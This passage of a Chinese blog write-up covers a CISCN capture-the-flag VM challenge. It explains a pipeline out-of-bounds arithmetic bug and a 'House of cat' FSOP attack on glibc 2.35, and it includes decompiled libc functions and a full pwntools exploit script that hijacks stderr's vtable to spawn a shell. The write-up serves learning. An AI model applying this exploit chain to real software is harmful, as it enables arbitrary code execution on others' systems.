class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff</span><br><span class="line">1:mov r1, 0         &lt; --- MEM</span><br><span class="line">2:add r2, [0xffff]  &lt; --- ALU  发生了越界访问！！！</span><br><span class="line">3:nop               &lt; --- ID</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>综合流程，我们可以通过这个漏洞获得<strong>越界的任意地址加减</strong>的能力。</p><h3 id="exp">EXP</h3><p>实际上，这个题目基本上也算是获得了<strong>任意位置读写</strong>的能力，不过在比赛期间我比较着急，没有想的那么清楚，以为只有一个<strong>任意地址加减</strong>的能力，下文也将以这个前提讨论漏洞利用。由于本人不太熟悉<code>2.35</code>的利用手法，于是咨询了队友，在队友的提示下考虑到可以通过文件指针操作来进行攻击，攻击方式可以<a href="https://bbs.kanxue.com/thread-273895.htm">参考这里</a> 提到的一种叫做<code>House of cat</code>的攻击策略，简单来说就是<code>FSOP</code>，但是使用的是<code>_OI_wfile_JUMP</code>的表。并且利用类似<code>House of Emma</code>的思路，对vtable偏移进行微调，从而实现调用<code>seekoff</code>函数，实现劫持。<br><em>这种好像就叫作板子题，就是将EXP套用到一个现有的模板上</em></p><p>程序自带一个<code>exit</code>函数，所以当我们完成了指令的编写之后，它自然会通过<code>exit</code>退出程序，通过<code>_IO_flush_all_lockp</code>诱发漏洞。我这里使用的是异常流，但是为了诱导程序触发<code>flush</code>，还需要通过主动的修改<code>FILE-&gt;_IO_write_base</code>&lt;<code>FILE-&gt;_IO_write_ptr</code>来保证攻击能够触发。</p><p>这种利用方式其实蛮多人利用过，<a href="https://bbs.kanxue.com/thread-273895.htm">这位师傅</a>已经讲的很清楚了，我基本上就是照着这位师傅提到的点进行布局。不过由于我以为题目仅有<strong>任意地址加减</strong>的能力，于是在利用过程中<strong>使用了已有的stderr 流，利用其中残留的指针进行相对偏移，从而实现漏洞利用</strong>。<br>在这道题在做的时候，有一个小坑，在这个文章中的评论区也有人提到，也就是<code>mode</code>参数不对：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">__off64_t</span> __fastcall <span class="title">IO_wfile_seekoff</span><span class="params">(_IO_FILE *file, __int64 offset, <span class="type">unsigned</span> <span class="type">int</span> dir, <span class="type">int</span> mode)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">   v4 = a1;</span><br><span class="line">  v101 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  wide_data = file-&gt;_wide_data;</span><br><span class="line">  <span class="keyword">if</span> ( !a4 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="comment">// 这其中无法使用当前攻击流程</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  _IO_write_base = (<span class="type">unsigned</span> __int64)wide_data-&gt;_IO_write_base;</span><br><span class="line">  _IO_write_ptr = (<span class="type">unsigned</span> __int64)wide_data-&gt;_IO_write_ptr;</span><br><span class="line">  v9 = offset;</span><br><span class="line">  <span class="keyword">if</span> ( *(_OWORD *)&amp;wide_data-&gt;_IO_read_base == __PAIR128__(_IO_write_ptr, wide_data-&gt;_IO_read_end) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">LODWORD</span>(v93) = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">LODWORD</span>(v93) = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( _IO_write_base &lt; _IO_write_ptr )</span><br><span class="line">      <span class="keyword">goto</span> LABEL_4;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (file-&gt;_flags &amp; <span class="number">0x800</span>) == <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( wide_data-&gt;_IO_buf_base )</span><br><span class="line">      <span class="keyword">goto</span> LABEL_6;</span><br><span class="line">    <span class="keyword">goto</span> LABEL_36;</span><br><span class="line">  &#125;</span><br><span class="line">LABEL_4:</span><br><span class="line">  v10 = <span class="built_in">IO_switch_to_wget_mode</span>(&amp;file-&gt;_flags);      <span class="comment">/// 关键要进入这个函数</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">__int64 __fastcall <span class="title">IO_switch_to_wget_mode</span><span class="params">(_IO_FILE *a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">struct</span> <span class="title class_">_IO_wide_data</span> *wide_data; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">wchar_t</span> *IO_write_ptr; <span class="comment">// rdx</span></span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> flags; <span class="comment">// ecx</span></span><br><span class="line"></span><br><span class="line">  wide_data = a1-&gt;_wide_data;</span><br><span class="line">  IO_write_ptr = wide_data-&gt;_IO_write_ptr;</span><br><span class="line">  <span class="keyword">if</span> ( IO_write_ptr &gt; wide_data-&gt;_IO_write_base )</span><br><span class="line">  &#123;</span><br><span class="line">    result = (*((__int64 (__fastcall **)(_IO_FILE *, __int64))wide_data-&gt;_wide_vtable + <span class="number">3</span>))(a1, <span class="number">0xFFFFFFFF</span>LL); <span class="comment">// 关注这里</span></span><br><span class="line">    <span class="keyword">if</span> ( (_DWORD)result == <span class="number">-1</span> )</span><br><span class="line">      <span class="keyword">return</span> result;</span><br><span class="line">    wide_data = a1-&gt;_wide_data;</span><br><span class="line">    IO_write_ptr = wide_data-&gt;_IO_write_ptr;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// 包含其他逻辑</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>攻击链使用的是<code>IO_switch_to_wget_mode</code>函数，但是这个函数需要在参数<code>mode!=0</code>的时候触发，而在这道题的时候不满足这条条件，追踪调用流能看到对应的位置发生赋值的地方:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">IO_flush_all_lockp</span><span class="params">(<span class="type">int</span> a1)</span></span>&#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 省略部分代码</span></span><br><span class="line">      <span class="keyword">if</span> ( file-&gt;_mode &gt; <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        _wide_data = file-&gt;_wide_data;</span><br><span class="line">        v3 = _wide_data-&gt;_IO_write_base;</span><br><span class="line">        <span class="keyword">if</span> ( _wide_data-&gt;_IO_write_ptr &gt; v3 )</span><br><span class="line">          <span class="keyword">goto</span> LABEL_8;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> ( file-&gt;_IO_write_ptr &gt; file-&gt;_IO_write_base )</span><br><span class="line">      &#123;</span><br><span class="line">LABEL_8:</span><br><span class="line">        vtable = *(_QWORD *)&amp;file[<span class="number">1</span>]._flags;</span><br><span class="line">        <span class="keyword">if</span> ( &amp;unk_7FC0EAE64768 - (_UNKNOWN *)qword_7FC0EAE63A00 &lt;= (<span class="type">unsigned</span> __int64)(vtable - (_QWORD)qword_7FC0EAE63A00) )</span><br><span class="line">        &#123;</span><br><span class="line">          v14 = *(_QWORD *)&amp;file[<span class="number">1</span>]._flags;</span><br><span class="line">          <span class="built_in">sub_7FC0EACD6EF0</span>(lock, vtable - (_QWORD)qword_7FC0EAE63A00);</span><br><span class="line">          vtable = v14;</span><br><span class="line">        &#125;</span><br><span class="line">        lock = (__int64 *)&amp;file-&gt;_flags;</span><br><span class="line">        <span class="keyword">if</span> ( (*(<span class="type">unsigned</span> <span class="built_in">int</span> (__fastcall **)(<span class="type">void</span> *, __int64, <span class="type">void</span> *, <span class="type">void</span> *))(vtable + <span class="number">24</span>))(  <span class="comment">//OVERFLOW 函数调用</span></span><br><span class="line">               file,</span><br><span class="line">               <span class="number">0xFFFFFFFF</span>LL,</span><br><span class="line">               (<span class="type">void</span> *)v8,</span><br><span class="line">               v3) == <span class="number">-1</span> )</span><br><span class="line"></span><br><span class="line">               </span><br></pre></td></tr></table></figure><p><em>其实本来这里的<code>v3</code>（也就是第四个参数mode）是不存在的，但是毕竟我们是强制修改了调用函数的位置，所以这里相当于强行激活了这个参数。</em><br>观察程序可知，第四个参数来自于<code>_wide_data-&gt;_IO_write_base</code>，同时还必须保证<code>file-&gt;_mode &gt; 0</code>以及<code>_wide_data-&gt;_IO_write_ptr &gt; _wide_data-&gt;_IO_write_base </code>才能满足，于是这个位置新增需求如下</p><ul><li><code>file-&gt;_mode &gt; 0</code></li><li><code>_wide_data-&gt;_IO_write_ptr &gt; _wide_data-&gt;_IO_write_base</code>（只有大于才会赋值v3）</li><li><code>_wide_data-&gt;_IO_write_base != 0</code>（满足seekoff函数的mode）</li></ul><p>梳理所有的需求，可以知道这个板子的调用条件为:</p><ul><li><code>FILE-&gt;_IO_write_base</code>&lt;<code>FILE-&gt;_IO_write_ptr</code></li><li><code>wide_data-&gt;_IO_write_base</code> &lt; <code>wide_data-&gt;_IO_write_ptr</code></li><li><code>wide_data-&gt;_IO_read_end</code> != <code>wide_data-&gt;_IO_read_ptr</code></li><li><code>FILE-&gt;_lock</code>可写（这一个条件来自于之前提到的<code>_IO_flush_all_lockp</code>函数要求）</li><li><code>file-&gt;_mode &gt; 0</code></li><li><code>_wide_data-&gt;_IO_write_base != 0</code>（满足seekoff函数的mode）</li></ul><p>总共六条。同时为了实现利用，需要修改如下的点:</p><ul><li><code>FILE-&gt;flag=&quot;/bin/sh&quot;</code></li><li><code>wide_data-&gt;jump(0xe0 offset)-&gt;0x18 = system</code></li></ul><p>两条要求，总共八条。整体exp如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">[opcode][optype][value1][value2]</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">opcode = &#123;</span><br><span class="line">    <span class="string">&quot;ADD&quot;</span>:<span class="number">1</span>,</span><br><span class="line">    <span class="string">&quot;SUB&quot;</span>:<span class="number">2</span>,</span><br><span class="line">    <span class="string">&quot;LMOV&quot;</span>:<span class="number">3</span>,</span><br><span class="line">    <span class="string">&quot;RMOV&quot;</span>:<span class="number">4</span>,</span><br><span class="line">    <span class="string">&quot;OP2&quot;</span>:<span class="number">5</span>,</span><br><span class="line">    <span class="string">&quot;AND&quot;</span>:<span class="number">6</span>,</span><br><span class="line">    <span class="string">&quot;OR&quot;</span>:<span class="number">7</span>,</span><br><span class="line">    <span class="string">&quot;XOR&quot;</span>:<span class="number">8</span>,</span><br><span class="line">    <span class="string">&quot;PUSH&quot;</span>:<span class="number">9</span>,</span><br><span class="line">    <span class="string">&quot;POP&quot;</span>:<span class="number">10</span>,</span><br><span class="line">    <span class="string">&quot;NOP&quot;</span>:<span class="number">11</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># push and pop will select this one default</span></span><br><span class="line">RET_REG = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_type</span>(<span class="params">t</span>):</span><br><span class="line">    <span class="keyword">if</span> t == <span class="string">&quot;NUM&quot;</span>:</span><br><span class="line">        <span class="comment"># address</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">    <span class="keyword">elif</span> t == <span class="string">&quot;ADDR&quot;</span>:</span><br><span class="line">        <span class="comment"># address</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">3</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># register</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># push last value into stack</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">push_value</span>():</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;PUSH&quot;</span>])</span><br><span class="line">    <span class="comment"># push value</span></span><br><span class="line">    <span class="comment"># optype</span></span><br><span class="line">    shellcode += p8(generate_type(<span class="string">&quot;REG&quot;</span>))</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += <span class="string">b&#x27;\x01&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="comment"># push last value into stack</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_value</span>(<span class="params">value</span>):</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;ADD&quot;</span>])</span><br><span class="line">    <span class="comment"># push value</span></span><br><span class="line">    <span class="comment"># optype</span></span><br><span class="line">    <span class="comment"># add reg,num</span></span><br><span class="line">    shellcode += p8(((generate_type(<span class="string">&quot;NUM&quot;</span>) &lt;&lt; <span class="number">2</span>) | generate_type(<span class="string">&quot;REG&quot;</span>)))</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += p8(RET_REG)</span><br><span class="line">    shellcode += p64(value)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_value_reg</span>(<span class="params">value</span>):</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;SUB&quot;</span>])</span><br><span class="line">    <span class="comment"># push value</span></span><br><span class="line">    <span class="comment"># optype</span></span><br><span class="line">    <span class="comment"># sub [reg],num</span></span><br><span class="line">    shellcode += p8(((generate_type(<span class="string">&quot;NUM&quot;</span>) &lt;&lt; <span class="number">2</span>) | generate_type(<span class="string">&quot;REG&quot;</span>)))</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += p8(RET_REG)</span><br><span class="line">    shellcode += p64(value)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_value</span>(<span class="params">value</span>):</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;SUB&quot;</span>])</span><br><span class="line">    <span class="comment"># push value</span></span><br><span class="line">    <span class="comment"># optype</span></span><br><span class="line">    <span class="comment"># sub [reg],num</span></span><br><span class="line">    shellcode += p8(((generate_type(<span class="string">&quot;NUM&quot;</span>) &lt;&lt; <span class="number">2</span>) | generate_type(<span class="string">&quot;ADDR&quot;</span>)))</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += p8(RET_REG)</span><br><span class="line">    shellcode += p64(value)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">xor_value_reg</span>(<span class="params">value</span>):</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;XOR&quot;</span>])</span><br><span class="line">    shellcode += p8(((generate_type(<span class="string">&quot;NUM&quot;</span>) &lt;&lt; <span class="number">2</span>) | generate_type(<span class="string">&quot;REG&quot;</span>)))</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += p8(<span class="number">3</span>)</span><br><span class="line">    shellcode += p64(value)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="comment"># pop value out of stack</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pop_value</span>():</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;POP&quot;</span>])</span><br><span class="line">    <span class="comment"># push value</span></span><br><span class="line">    <span class="comment"># optype</span></span><br><span class="line">    shellcode += p8(generate_type(<span class="string">&quot;REG&quot;</span>))</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += <span class="string">b&#x27;\x01&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="comment"># set result with value and reg</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">set_value_reg</span>(<span class="params">value, reg</span>):</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;OP2&quot;</span>])</span><br><span class="line">    <span class="comment"># push value</span></span><br><span class="line">    <span class="comment"># optype</span></span><br><span class="line">    types = ((generate_type(<span class="string">&quot;NUM&quot;</span>) &lt;&lt; <span class="number">2</span>) | generate_type(<span class="string">&quot;REG&quot;</span>))</span><br><span class="line">    shellcode += p8(types)</span><br><span class="line">    <span class="comment"># opvalue, select reg1</span></span><br><span class="line">    shellcode += p8(reg)</span><br><span class="line">    <span class="comment"># opvalue as op2</span></span><br><span class="line">    shellcode += p64(value)</span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">nop</span>():</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    shellcode += p8(opcode[<span class="string">&quot;NOP&quot;</span>])</span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line">OFFSET_TO_LIBC = <span class="number">0x9000</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">off</span>(<span class="params">offset</span>):</span><br><span class="line">    <span class="keyword">return</span> OFFSET_TO_LIBC+offset</span><br><span class="line">    </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_read</span>(<span class="params">offset, value</span>):</span><br><span class="line">    shellcode = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    <span class="comment"># here set the mov offset</span></span><br><span class="line">    shellcode += add_value(offset) <span class="comment"># ID</span></span><br><span class="line">    shellcode += set_value_reg(<span class="number">0</span>, RET_REG) <span class="comment"># ALU</span></span><br><span class="line">    <span class="comment"># here use add/sub to calculate the </span></span><br><span class="line">    shellcode += sub_value(value) <span class="comment"># ID -&gt; MEM</span></span><br><span class="line">    shellcode += nop() <span class="comment"># ALU calculate</span></span><br><span class="line">    shellcode += nop() <span class="comment"># MEM saving data</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> shellcode</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># context.terminal = [&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;, &#x27;-F&#x27; &#x27;#&#123;pane_pid&#125;&#x27;, &#x27;-P&#x27;]</span></span><br><span class="line">ph = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment"># gdb.attach(ph)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># libc offset</span></span><br><span class="line">LIBC_STDERR = <span class="number">0x21b6a0</span></span><br><span class="line"><span class="comment"># stderr_vtable = libc + 0xd8</span></span><br><span class="line">STDERR_VTABLE = LIBC_STDERR + <span class="number">0xd8</span></span><br><span class="line"><span class="comment"># wide_data = libc + 0x21a8a0</span></span><br><span class="line">WIDE_DATA = <span class="number">0x21a8a0</span></span><br><span class="line"><span class="comment"># IO_READ_PTR = wide_data+0 bypass check1</span></span><br><span class="line">IO_READ_PTR_OFF = <span class="number">0</span></span><br><span class="line"><span class="comment"># IO_READ_PTR = wide_data+0 bypass check2</span></span><br><span class="line">IO_WRITE_PTR_OFF = <span class="number">0x20</span></span><br><span class="line"><span class="comment"># OVERFLOW call</span></span><br><span class="line">WFILE_JUMP = <span class="number">0x2170c0</span></span><br><span class="line">_IO_WOVERFLOW_OFFSET=<span class="number">0x18</span></span><br><span class="line"><span class="comment"># modify it to system</span></span><br><span class="line"></span><br><span class="line">SYSTEM = <span class="number">0x50D70</span></span><br><span class="line">_IO_WFILE_OVERFLOW = <span class="number">0x086390</span></span><br><span class="line"><span class="comment"># _IO_2_1_stderr_+131 = 0x7f492b71a723</span></span><br><span class="line"><span class="comment"># system  = 0x7f492b54fd70</span></span><br><span class="line"><span class="comment"># system_off = _IO_2_1_stderr_+131  - system = 0x1ca9b3</span></span><br><span class="line"><span class="comment"># minuse to /bin/sh</span></span><br><span class="line"></span><br><span class="line">SYSTEM_OFF = _IO_WFILE_OVERFLOW - SYSTEM</span><br><span class="line"><span class="comment"># modified vtable</span></span><br><span class="line"><span class="comment"># IO_wfile_jumps</span></span><br><span class="line"><span class="comment"># _IO_file_jumps - _IO_wfile_jumps + 0x30(offset to seekoff)</span></span><br><span class="line"><span class="comment"># modify vtbale</span></span><br><span class="line"><span class="comment"># modify _wide_data(0xa0)-&gt;_IO_read_ptr</span></span><br><span class="line"><span class="comment"># modify _wide_data(0xa0)-&gt;_IO_write_ptr</span></span><br><span class="line"><span class="comment"># _wide_data(0xe0)??? no need to modify</span></span><br><span class="line"><span class="comment"># _wide_data-&gt;WFILE_JUMP-&gt;IO(0x18) </span></span><br><span class="line"><span class="comment">#  x /40gx (char*)&amp;_IO_2_1_stderr_</span></span><br><span class="line"><span class="comment"># 0xffffffffffffba20</span></span><br><span class="line"><span class="comment"># finally comes to function _IO_switch_to_wget_mode to call</span></span><br><span class="line">shellcode1 = generate_read(off(STDERR_VTABLE), <span class="number">0x510</span>) + generate_read(off(LIBC_STDERR+<span class="number">0x28</span>), <span class="number">0xffffffffffffff00</span>)+ generate_read(off(LIBC_STDERR+<span class="number">0xc0</span>), <span class="number">0xffffffffffffffff</span>) + generate_read(off(WIDE_DATA), <span class="number">0xfffffffffffffaf0</span>) + generate_read(off(WIDE_DATA+<span class="number">0x18</span>), <span class="number">0xfffffffffffffaf0</span>) + generate_read(off(WIDE_DATA+<span class="number">0x20</span>), <span class="number">0xfffffffffffffa00</span>) + generate_read(off(WIDE_DATA+<span class="number">0x20</span>), <span class="number">0xffffffffffffff00</span>) + generate_read(off(WIDE_DATA+<span class="number">0xe0</span>), <span class="number">0xffffffffffffba20</span>) + generate_read(off(LIBC_STDERR+<span class="number">0x18</span>), <span class="number">0x1ca9b3</span>) + generate_read(off(LIBC_STDERR), <span class="number">0xff978cd18d43be58</span>) </span><br><span class="line"><span class="comment"># set debug </span></span><br><span class="line">debug_shellcode = xor_value_reg(<span class="number">0</span>)</span><br><span class="line">debug_shellcode += nop()</span><br><span class="line">debug_shellcode += nop()</span><br><span class="line"></span><br><span class="line">ph.sendline(shellcode1+debug_shellcode)</span><br><span class="line"></span><br><span class="line">ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><h3 id="关于题目">关于题目</h3><ul><li>题目的设计非常有意思，流水线是一种比较实际的场景，这种漏洞模式在真实场景中甚至会存在，具有一定的学习价值</li><li>漏洞再一次符合了<strong>检测与使用错位</strong>的概念，这个概念感觉可以具体到一些具体的场景中，然后进行一定的模式匹配</li></ul><h3 id="关于pwn技巧">关于Pwn技巧</h3><ul><li>一开始调试的时候，总是着急，结果漏洞看了半天都没看出来在这里，感觉二进制的题目都得耐心做。</li><li>板子题我本人做的不多，所以调试花了非常多的时间，在这里感谢帮忙一并调试的师傅们~</li><li>比赛打得不少，积累做的不多，可能积累的方式有点不太对</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;时隔7年，又打了一次CISCN（？）这一次做了一个很有意思的VM题，这里简单记录一下&lt;/p&gt;
&lt;blockquote&gt;
